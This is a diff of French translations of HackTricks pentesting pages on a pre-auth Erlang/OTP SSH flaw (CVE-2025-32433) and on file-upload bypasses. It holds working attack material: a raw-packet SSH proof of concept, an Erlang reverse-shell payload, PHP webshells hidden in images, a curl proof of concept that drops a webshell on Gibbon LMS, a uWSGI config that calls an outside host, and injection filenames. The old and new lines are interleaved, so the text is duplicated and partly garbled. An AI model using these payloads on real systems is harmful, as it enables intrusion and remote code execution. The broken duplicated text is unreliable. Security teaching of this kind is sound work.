Au niveau du protocole, tout message SSH avec un _message code_ **≥ 80** (0x50) appartient à la couche *connection* (RFC 4254) et ne doit être **accepté qu'après une authentification réussie** (RFC 4252). Si le serveur traite l'un de ces messages alors qu'il se trouve encore dans l'état *SSH_AUTHENTICATION*, l'attaquant peut immédiatement créer un channel et demander des actions telles que command execution, port-forwarding, etc.
### Étapes d'exploitation génériques
1. Établir une connexion TCP au port SSH de la cible (généralement 22, mais d'autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222…).
2. Créer un paquet SSH brut :
### Étapes génériques d'exploitation
1. Établir une connexion TCP vers le port SSH de la cible (généralement 22, mais d'autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222…).
2. Construire un paquet SSH brut :
* 4 octets **packet_length** (big-endian)
* 1 octet **message_code** ≥ 80 (par exemple, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Charge utile qui sera comprise par le type de message choisi
3. Envoyer le(s) paquet(s) **avant de compléter toute étape d'authentification**.
4. Interagir avec les API du serveur qui sont maintenant exposées _pré-auth_ (exécution de commandes, transfert de ports, accès au système de fichiers, …).
* 1 octet **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload compatible avec le type de message choisi
3. Envoyer le(s) paquet(s) **avant d'avoir terminé toute étape d'authentification**.
4. Interagir avec les APIs du serveur qui sont maintenant exposées _pre-auth_ (command execution, port-forwarding, file-system access, …).
Esquisse de preuve de concept en Python :
Esquisse d'une preuve de concept en Python :
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
@ -308,41 +328,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
En pratique, vous devrez effectuer (ou sauter) l'échange de clés en fonction de l'implémentation cible, mais **aucune authentification** n'est jamais effectuée.
En pratique, vous devrez effectuer (ou ignorer) le key-exchange selon l'implémentation cible, mais **no authentication** n'est jamais effectuée.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Versions affectées :** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Cause racine :** le démon SSH natif d'Erlang ne valide pas l'état actuel avant d'invoquer `ssh_connection:handle_msg/2`. Par conséquent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l'état *userauth*.
* **Impact :** exécution de **code à distance non authentifiée** (le démon s'exécute généralement en tant que **root** sur des appareils embarqués/OT).
* **Cause racine :** le daemon SSH natif d'Erlang ne vérifie pas l'état courant avant d'invoquer `ssh_connection:handle_msg/2`. Par conséquent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l'état *userauth*.
* **Impact :** **unauthenticated remote code execution** (le daemon tourne généralement en tant que **root** sur des appareils embedded/OT).
Exemple de charge utile qui génère un shell inversé lié au canal contrôlé par l'attaquant :
Exemple de payload qui génère un reverse shell lié au attacker-controlled channel:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
L'exécution de code à distance aveugle / la détection hors bande peut être effectuée via DNS :
Blind RCE / out-of-band detection peut être effectuée via DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Détection et atténuation :
* Inspecter le trafic SSH : **rejeter tout paquet avec un code de message ≥ 80 observé avant l'authentification**.
* Mettre à niveau Erlang/OTP vers **27.3.3 / 26.2.5.11 / 25.3.2.20** ou plus récent.
* Mettre à niveau Erlang/OTP vers **27.3.3 / 26.2.5.11 / 25.3.2.20** ou une version ultérieure.
* Restreindre l'exposition des ports de gestion (22/2022/830/2222) – en particulier sur les équipements OT.
---
### Autres implémentations affectées
* **libssh** 0.6 – 0.8 (côté serveur) – **CVE-2018-10933** – accepte un `SSH_MSG_USERAUTH_SUCCESS` non authentifié envoyé par le client, ce qui constitue effectivement une faille de logique inverse.
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accepte un `SSH_MSG_USERAUTH_SUCCESS` non authentifié envoyé par le client, constituant effectivement le défaut logique inverse.
La leçon commune est que tout écart par rapport aux transitions d'état imposées par le RFC peut être fatal ; lors de la revue ou du fuzzing des daemons SSH, accordez une attention particulière à *l'application de la machine d'état*.
La leçon commune est que toute déviation par rapport aux transitions d'état mandatées par le RFC peut être fatale ; lors de l'examen ou du fuzzing des démons SSH, prêtez une attention particulière à l'*application de la machine à états*.
## Références
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Guides de durcissement SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Guide de hacking SSH de Turgensec](https://community.turgensec.com/ssh-hacking-guide)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## Commandes automatiques HackTricks
## HackTricks Commandes automatiques
```
Protocol_Name: SSH
Port_Number: 22

219
src/pentesting-web/file-upload/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Méthodologie générale du téléversement de fichiers
## Méthodologie générale de téléversement de fichiers
Other useful extensions:
@ -17,11 +17,11 @@ Other useful extensions:
### Contourner les vérifications d'extensions de fichiers
1. Si elles sont appliquées, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes) :_
1. S'ils s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres MAJUSCULES** : _pHp, .pHP5, .PhAr ..._
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension exécutable (utilisez aussi les extensions précédentes) :_
- _file.png.php_
- _file.png.Php5_
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ASCII** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées **précédemment**_)
3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforce** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées précédemment_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Essayez de contourner les protections en trompant l'**analyseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou l'**ajout de données indésirables** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._
4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou l'**ajout de données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,12 +40,12 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
5. Ajoutez **une couche supplémentaire d'extensions** à la vérification précédente :
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Essayez de mettre l'**extension exécutable avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier dont l'extension est **.php**, mais pas forcément se terminant par .php, exécutera du code):
6. Essayez de placer l'**extension exécutable avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier dont l'extension est **_.php_**, mais pas nécessairement se terminant par .php, exécutera du code):
- _ex: file.php.png_
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg"). Ce fichier peut être modifié plus tard via d'autres techniques comme l'utilisation de son short filename. Le motif "**::$data**" peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut être utile pour contourner d'autres restrictions (par ex. "file.asp::$data.").
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être édité plus tard en utilisant d'autres techniques telles que l'utilisation de son short filename. Le motif "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un point après ce motif peut aussi être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”)
8. Essayez de dépasser les limites de longueur du nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
```
@ -59,13 +59,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
#### UniSharp Laravel Filemanager pré-2.9.1 (.php. point final) – CVE-2024-21546
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Certains gestionnaires d'upload tronquent ou normalisent les points terminaux du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
Certains gestionnaires d'upload tronquent ou normalisent les caractères point finaux du nom de fichier enregistré. Dans UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :
- En utilisant un MIME image valide et un en-tête magique (par ex., le PNG `\x89PNG\r\n\x1a\n`).
- En nommant le fichier uploadé avec une extension PHP suivie d'un point, par ex., `shell.php.`.
- Le serveur supprime le point terminal et conserve `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (par ex. le stockage public par défaut comme `/storage/files/`).
- En utilisant un MIME d'image valide et l'en-tête magique (par ex., PNG’s `\x89PNG\r\n\x1a\n`).
- Nommer le fichier téléversé avec une extension PHP suivie d'un point, p.ex., `shell.php.`.
- Le serveur supprime le point final et persiste `shell.php`, qui s'exécutera s'il est placé dans un répertoire servi par le web (stockage public par défaut comme `/storage/files/`).
PoC minimal (Burp Repeater):
```http
@ -80,63 +80,64 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Ensuite, accédez au chemin enregistré (typique dans Laravel + LFM):
Puis accédez au chemin enregistré (typique dans Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
Atténuations :
- Mettre à jour unisharp/laravel-filemanager vers ≥ 2.9.1.
- Appliquer des allowlists strictes côté serveur et re-valider le nom de fichier persistant.
- Servir les uploads depuis des emplacements non exécutables.
- Appliquer des allowlists strictes côté serveur et revérifier le nom de fichier persistant.
- Servir les téléversements depuis des emplacements non exécutables.
### Contourner **Content-Type**, **magic number**, Compression & Resizing
### Bypass Content-Type, Magic Number, Compression & Resizing
- Contourner les vérifications de **Content-Type** en définissant la **value** de l'**header** **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête** **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **bytes of a real image** (tromper la commande _file_). Ou introduire le shell dans les **metadata** :\
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (tromper la commande _file_). Ou introduire le shell dans les **métadonnées**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou vous pouvez aussi **introduire la payload directement** dans une image :\
`\` ou vous pouvez aussi **introduire le payload directement** dans une image :\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si une **compression est appliquée à votre image**, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **chunk PLTE** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- Si une **compression est appliquée à votre image**, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne fonctionneront pas. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **chunk IDAT** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Une autre technique pour créer une payload qui **survit au redimensionnement d'une image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **chunk tEXt** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- Une autre technique pour créer un payload qui **survit au redimensionnement d'une image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Autres trucs à tester
### Autres astuces à tester
- Trouver une vulnérabilité permettant de **rename** le fichier déjà uploaded (pour changer l'extension).
- Trouver une vulnérabilité de type **Local File Inclusion** pour exécuter le backdoor.
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà téléversé (pour changer l'extension).
- Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la backdoor.
- **Divulgation d'informations possible** :
1. Upload **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
2. Upload un fichier avec le **nom** d'un **fichier** ou **d'un dossier** qui **existe déjà**
3. Uploader un fichier avec **".", "..", ou "..." comme nom**. Par exemple, sous Apache sur **Windows**, si l'application enregistre les fichiers uploadés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
4. Upload d'un fichier qui peut ne pas être facilement supprimé, comme **"…:.jpg”** sur **NTFS**. (Windows)
5. Upload d'un fichier sous **Windows** avec des caractères **invalides** tels que `|<>*?”` dans son nom. (Windows)
6. Upload d'un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, et COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
- Essayez aussi d'**uploader un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime.
1. Téléverser **plusieurs fois** (et au **même moment**) le **même fichier** avec le **même nom**
2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
3. Téléverser un fichier avec **"." , "..", ou "…" comme nom**. Par exemple, sous Apache en **Windows**, si l'application enregistre les fichiers téléversés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé
uploads” dans le "/www/" directory.
4. Téléverser un fichier qui peut être difficile à supprimer comme **"…:.jpg"** sur **NTFS**. (Windows)
5. Téléverser un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
6. Téléverser un fichier sous **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime.
### Special extension tricks
### Astuces pour extensions particulières
Si vous essayez d'uploader des fichiers vers un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez d'uploader des fichiers vers un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si vous essayez de téléverser des fichiers vers un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez de téléverser des fichiers vers un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...).
Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (en l'exécutant avec php, ou en l'incluant dans un script...)
L'extension `.inc` est parfois utilisée pour des fichiers php qui servent uniquement à **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir autorisé **l'exécution de cette extension**.
L'extension `.inc` est parfois utilisée pour des fichiers php destinés uniquement à **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir autorisé **l'exécution de cette extension**.
## **Jetty RCE**
Si vous pouvez uploader un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme mentionné dans l'image suivante, uploadez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Pour une exploration détaillée de cette vulnérabilité consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Les vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI exploitent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier `.ini` est traité.
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des "variables magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant la lecture de données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité.
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, montrant différents schemes :
```ini
@ -156,14 +157,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou à cause d'une attaque de Denial of Service), soit le fichier doit être configuré en rechargement automatique. La fonctionnalité de rechargement automatique, si elle est activée, recharge le fichier à intervalles spécifiés lorsqu'elle détecte des modifications.
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou à cause d'une Denial of Service attack) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'un changement est détecté.
Il est crucial de comprendre la nature laxiste de l'analyse des fichiers de configuration par uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel.
Il est crucial de comprendre la nature laxiste du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant encore le champ d'exploitation possible.
## **Truc wget File Upload/SSRF**
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Parfois, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une liste blanche afin de s'assurer que seuls des fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
Un endpoint non authentifié dans Gibbon LMS permet un arbitrary file write dans la racine web, menant à un pre-auth RCE en déposant un fichier PHP. Versions vulnérables : jusqu'à et y compris 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]` (le serveur ignore le type/le nom, base64-décode la partie finale)
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Déposer un webshell minimal et exécuter des commandes :
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Notes:
- Le handler effectue `base64_decode($_POST["img"])` après avoir séparé la chaîne sur `;` et `,`, puis écrit les octets dans `$absolutePath . '/' . $_POST['path']` sans valider l'extension/le type.
- Le code résultant s'exécute avec l'utilisateur du service web (par ex., XAMPP Apache sur Windows).
Les références pour ce bug incluent l'advisory usd HeroLab et l'entrée NVD. Voir la section References ci-dessous.
## **wget File Upload/SSRF Astuce**
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
La **longueur maximale** d'un **nom de fichier** sous **linux** est **255**, cependant, **wget** tronque les noms de fichier à **236** caractères. Vous pouvez **télécharger un fichier nommé "A"*232+".php"+".gif"**, ce nom de fichier va **contourner** la **vérification** (dans cet exemple **".gif"** est une extension **valide**) mais `wget` va **renommer** le fichier en **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,35 +227,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Notez qu'**une autre option** à laquelle vous pensez pour contourner cette vérification est de faire en sorte que **le serveur HTTP redirige vers un fichier différent**, ainsi l'URL initiale pourra contourner la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **sauf si** wget est utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
Notez que **une autre option** à laquelle vous pensez pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un fichier différent**, de sorte que l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget soit utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom de fichier indiqué dans l'URL originale**.
## Outils
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, assurant des évaluations approfondies des applications web.
### Corruption des indices d'upload avec les particularités de snprintf (historique)
### Corruption des indices d'upload via les particularités de snprintf (historique)
Certains handlers d'upload legacy qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload mono-fichier peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload unique soigneusement conçu peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., le traiter comme un multi-file upload et emprunter des branches non sécurisées). Bien que niche aujourd'hui, ce motif de “index corruption” réapparaît parfois dans les CTFs et les anciens codebases.
Certains legacy upload handlers qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload mono-fichier peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncature dans le comportement de `snprintf()`, un upload unique soigneusement conçu peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., le traitant comme un upload multi-fichiers et empruntant des branches non sûres). Bien que marginal aujourd'hui, ce pattern de « corruption d'indices » réapparaît parfois dans des CTFs et d'anciens codebases.
## De l'upload de fichiers vers d'autres vulnérabilités
## Du File upload vers d'autres vulnérabilités
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'obtenir un **path traversal**
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez réussir une **SQL injection**
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un **XSS**
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [command injections tricks here](../command-injection.md))
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez obtenir une **SQL injection**
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un XSS
- Définissez **filename** sur `; sleep 10;` pour tester une command injection (more [command injections tricks here](../command-injection.md))
